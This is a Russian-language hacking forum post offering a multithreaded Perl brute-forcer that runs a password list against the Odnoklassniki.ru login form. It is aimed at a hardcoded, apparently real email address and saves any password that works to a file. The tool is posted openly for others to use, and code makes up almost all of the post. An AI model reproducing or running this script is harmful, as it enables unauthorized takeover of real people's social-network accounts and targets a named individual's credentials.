Многопоточный брутер Odnoklassniki.ru

Написан на перле .
Брутит один э-майл по списку паролей .
А вдруг кому-то пригодится .
Строго не судите , написано на скорую руку .
О багах и нужных доработках пишем тут .

Code:

#!/usr/bin/perl

use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
##############START#################
print "\n AAAAAA OOOOOO H   H\n";
print " A    A O    O H   H\n";
print " AAAAAA O    O HHHHH\n";
print " A    A O    O H   H\n";
print " A    A OOOOOO H   H\n\n";

open (FP , '<pass.txt') || die ("No password list! \n");  # Пароли в  pass.txt
my @pass = <FP>;
close FP;

my $email = 'yusdinara@yandex.ru'; # МЫЛО!
my $i=0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);   #Куки ;)
for (@pass)
{
my $nowpass = $_;
chomp @pass;
if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
$thr[$i]=threads->create(\&brute,$email,$nowpass);

$i=($i+1) % 5; #Количество потоков  (5)

}

 foreach(threads->list) { $_->join; }

sub brute()
{

$ua->cookie_jar($cookies);
my $req = $ua->post('http://w17.odnoklassniki.ru/cdk/st.cmd/login/tkn/5622', {
'st.posted'=>'set',
'st.email'=>$_[0],
'st.password'=>$_[1],
'button_go'=>'%D0%92%D0%BE%D0%B9%D1%82%D0%B8'
})->as_string;

my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[0]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
die ('PASSWORD FOUND!!!!!\n\n\n');
}
else
{
print "[-] BAD $_[0]\n";

}}

#c0ded by Xszz.AoH;
#c0pyright AoH.Team http://aoh.name;